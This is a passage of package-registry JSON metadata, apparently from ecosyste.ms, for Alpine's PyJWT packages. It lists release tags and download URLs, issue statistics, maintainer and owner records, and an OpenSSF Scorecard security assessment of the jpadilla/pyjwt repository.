:"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:35.668Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":19.522199035763112,"stargazers_count":2.252284665755199,"forks_count":2.309851046988559,"average":6.021083687126717},"purl":"pkg:apk/alpine/py3-jwt-cli?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.13","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt-cli","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt-cli","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt-cli/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/packages/py3-jwt-cli/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/packages/py3-jwt-cli/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/packages/py3-jwt-cli/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/packages/py3-jwt-cli/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/packages/py3-jwt-cli/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/packages/py3-jwt-cli/codemeta","maintainers":[],"registry":{"name":"alpine-v3.13","url":"https://pkgs.alpinelinux.org/packages?branch=v3.13","ecosystem":"alpine","default":false,"packages_count":13897,"maintainers_count":231,"namespaces_count":2,"keywords_count":1898,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":592},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.734Z","updated_at":"2026-06-10T05:11:58.586Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/namespaces"}},{"id":7779078,"name":"py3-jwt","ecosystem":"alpine","description":"Python3 JSON Web Token implementation","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2023-04-19T14:25:59.000Z","latest_release_published_at":"2023-04-19T14:25:59.000Z","latest_release_number":"2.6.0-r3","last_synced_at":"2026-04-09T02:09:50.509Z","created_at":"2023-05-22T14:27:36.784Z","updated_at":"2026-05-29T04:00:35.674Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.18/community/x86_64/py3-jwt","install_command":"apk add py3-jwt","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url"